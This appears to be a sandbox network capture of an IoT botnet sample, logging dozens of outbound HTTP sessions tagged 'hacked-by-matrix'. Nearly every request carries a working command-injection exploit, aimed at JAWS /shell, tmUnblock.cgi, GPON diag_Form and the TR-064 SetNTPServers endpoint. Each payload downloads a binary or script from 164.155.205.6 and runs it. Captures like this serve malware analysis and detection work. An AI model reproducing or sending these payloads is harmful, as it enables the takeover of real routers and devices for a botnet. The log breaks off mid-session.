Mar 2, 2024 12:38:03.193001986 CET	329	IN	HTTP/1.0 400 Bad Request Cache-Control: no-store Connection: close Content-Length: 103 Content-Type: text/html Date: Sat, 02 Mar 2024 11:38:03 GMT Expires: 0 Pragma: no-cache X-Frame-Options: sameorigin Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 34 30 30 20 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a Data Ascii: <!doctype html><html lang=en><title>Error 400 : Bad Request</title><h1>Error 400 : Bad Request</h1>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1241	192.168.2.23	34778	18.172.140.113	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:02.931066036 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:03.046751976 CET	927	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE
Mar 2, 2024 12:38:03.578448057 CET	927	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE

Session ID	Source IP	Source Port	Destination IP	Destination Port
1242	192.168.2.23	33492	94.123.9.238	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:03.144408941 CET	258	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:04.347579956 CET	258	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:05.759368896 CET	258	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:08.667120934 CET	258	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:14.303898096 CET	258	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:25.562748909 CET	258	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:49.365196943 CET	258	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1243	192.168.2.23	41116	98.174.92.71	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:03.315207958 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:38:03.807720900 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1244	192.168.2.23	33138	77.68.99.87	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:03.580993891 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:09.946767092 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:10.109033108 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Sat, 02 Mar 2024 11:38:10 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1245	192.168.2.23	52970	35.142.221.12	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:03.683903933 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1246	192.168.2.23	42126	50.39.152.31	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:03.714690924 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1247	192.168.2.23	55602	5.138.136.154	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:03.787341118 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1248	192.168.2.23	53018	35.142.221.12	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:03.820333004 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1249	192.168.2.23	42174	50.39.152.31	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:03.883025885 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1250	192.168.2.23	55650	5.138.136.154	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.022743940 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1251	192.168.2.23	34632	218.146.174.194	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.092320919 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1252	192.168.2.23	35352	178.222.233.72	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099189997 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1253	192.168.2.23	54562	210.249.209.179	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099200964 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1254	192.168.2.23	49178	37.56.213.45	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099231005 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1255	192.168.2.23	40716	212.3.19.186	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099252939 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1256	192.168.2.23	34160	37.192.239.191	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099272966 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1257	192.168.2.23	56968	2.21.213.177	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099281073 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1258	192.168.2.23	45502	210.202.51.211	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099283934 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1259	192.168.2.23	33098	94.107.183.187	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099287033 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1260	192.168.2.23	53540	94.243.30.252	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099298000 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1261	192.168.2.23	40718	2.253.237.34	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:04.099306107 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1262	192.168.2.23	46808	118.66.129.231	443

Timestamp	Bytes transferred	Direction	Data
